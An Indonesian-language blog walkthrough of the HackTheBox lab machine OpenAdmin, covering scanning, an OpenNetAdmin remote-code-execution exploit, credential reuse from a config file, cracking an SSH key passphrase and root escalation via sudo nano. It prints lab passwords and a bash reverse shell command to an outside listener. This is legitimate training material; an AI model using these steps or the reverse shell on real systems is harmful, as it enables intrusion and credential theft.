HackTheBox Machine - OpenAdmin

March 5, 2020 3 minute read

HTB OpenAdmin

Scanning

Hal pertama yang dilakukan adalah scanning menggunakan nmap terhadap alamat ip 10.10.10.171

Enumeration

didapatkan open port antara lain port 22 dan port 80. Untuk port 80 yaitu akses website dapat dicek menggunakan browser.

Namun, hanya tampilan default dari Apache2 server. Untuk itu dibutuhkan process enumerasi lebih lanjut terhadap akses alamat ip target tersebut, dengan menggunakan directory scanner, dalam hal ini saya gunakan dirbuster bawaan dari kali linux, dan dengan wordlist directory-list-2.3-medium.txt

saat proses brute-forcing terdapat beberapa direktori yang dapat di tangkap, seperti direktori music dan ona, kemudian dilakukan pengecekan satu-persatu. Dan yang paling menarik adalah pada direktori ona tersebut, yang dapat diakses melalui url http://10.10.10.171/ona dan ini merupakan sebuah clue yang sesuai dengan nama machine htb tersebut yaitu OpenAdmin.

Tidak perlu berlama lagi, proses bruteforcing tidak perlu dilanjutkan,dan langusung berfokus pada target http://10.10.10.171/ona yaitu sebuah website untuk monitoring sistem bernama OpenNetAdmin.

Selanjutnya beberapa hal yang perlu dilakukan antara lain adalah mencari informasi mengenai OpenNetAdmin, bisa menggunakan searchploit ataupun browsing/googling dengan kata kunci OpenNetAdmin exploit

Berikut tampilan dari searchploit

Berikut tampilan dari website exploit-db https://www.exploit-db.com/exploits/47691 06-b

vuln yang digunakan adalah OpenNetAdmin 18.1.1 - Remote Code Execution kemudian lanjut dengan meng-copy script dari path exploits/php/webapps/47691.sh

catatan: gunakan command dos2unix pada file tersebut, agar kompatibel dengan sistem operasi linux/unix

Jalankan script tersebut dengan target http://10.10.10.171/ona, kemudian didapatkan akses terminal terhadap server opennetadmin tersebut, dan diarahkan ke akses www-data

target enumerasi selanjutnya adalah file konfigurasi OpenNetAdmin tersebut yaitu pada direktori /opt/ona/www/config/

terdapat informasi penting mengenai file konfigurasi database OpenNetAdmin tersebut yaitu pada /opt/ona/www/config/database_setting.inc.php

informasi yang didapatkan adalah berupa db_login,db_passwd

'db_type' => 'mysqli',
'db_host' => 'localhost',
'db_login' => 'ona_sys',
'db_passwd' => 'n1nj4W4rri0R!',
'db_database' => 'ona_default',
'db_debug' => false,
$ 

Selanjutnya, menampilkan list user server OpenNetAdmin tersebut, yaitu root, jimmy, joanna

Gunakan password yang didapatkan pada file /opt/ona/www/config/database_setting.inc.php yaitu n1nj4W4rri0R! untuk remote ssh, dalam hal ini merupakan password untuk user jimmy.

Privilege Escalation - USER (Joanna)

Untuk tahap selanjutnya, masuk ke direktori /var/www/ dimana terdapat path lain yaitu html internal dan ona dalam hal ini path/direktori internal memberikan informasi penting yaitu mengenai file main.php yang mana terdapat informasi mengenai eksekusi shell_exec ke file id_rsa punya joanna

<?php session_start(); if (!isset ($_SESSION['username'])) { header("Location: /index.php"); }; 
# Open Admin Trusted
# OpenAdmin
$output = shell_exec('cat /home/joanna/.ssh/id_rsa');
echo "<pre>$output</pre>";
?>
<html>
<h3>Don't forget your "ninja" password</h3>
Click here to logout <a href="logout.php" tite = "Logout">Session
</html>

Kemudian saya mencoba untuk mengakses file main.php tersebut secara local menggunakan curl dan didapatkan informasi seperti gambar berikut, yang artinya menampilkan 404 Not Found

beberapa hal yang memungkinkan adalah terdapat service jaringan yang berjalan pada background, hal tersebut dapat di cek dengan menggunakan netstat dan terdapat informasi yang berjalan secara localhost adalah pada port database 127.0.0.1:3306 dan service 127.0.0.1:52846

17-b

Okay, mari kita akses dengan cmd curl http://localhost:52846/main.php, maka menampilkan cat terdapat file /home/joanna/.ssh/id_rsa untuk joanna.

17-c

copy informasi certificate id_rsa tersebut, kemudian simpan untuk dilakukan bruteforce menggunakan john

gunakan tool ssl2john.py dan john untuk melakukan bruteforce dan didapatkan password untuk joanna adalah bloodninjas -> joanna:bloodninjas

selanjutnya mari lakukan akses ssh untuk akun joanna tersebut, kemudian akses flag user.txt

19-b

Privilege Escalation - ROOT

Disini saya mengunakan trik untuk membypass untuk melihat root.txt setelah mendapatkan akses untuk user joanna, gunakan command sudo -l untuk masuk ke akses root,di dapatkan informasi yaitu /bin/nano /opt/priv

joanna@openadmin:~$ sudo -l
Matching Defaults entries for joanna on openadmin:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User joanna may run the following commands on openadmin:
    (ALL) NOPASSWD: /bin/nano /opt/priv
joanna@openadmin:~$ 

berikut adalah trik untuk langsung mendapatkan flag root.txt eksekusi command sudo nano /opt/priv

kemudian akan diarahkan ke nano dan tekan ctrl+r untuk read file, untuk step ini saya langsung ke path /root/root.txt :D kemudian tekan Enter dan ternyata dapat di akses

Tambahan: untuk previllege escalation root, pada sudo nano /opt/priv input cli reverse shell menggunakan bash cli bash -i >& /dev/tcp/10.10.14.21/4444 0>&1 kemudian dari sisi komputer host nc -lvnp 4444

twseptian

HackTheBox Machine - OpenAdmin

Scanning

Enumeration

Privilege Escalation - USER (Joanna)

Privilege Escalation - ROOT

You may also enjoy

Pengalaman Ujian Sertifikasi CEH Practical

Online Railway Reservation System 1.0 - ‘id’ SQL Injection (Unauthenticated)

Online Veterinary Appointment System 1.0 - ‘Multiple’ SQL Injection

Hospitals Patient Records Management System 1.0 - ‘id’ SQL Injection (Authenticated)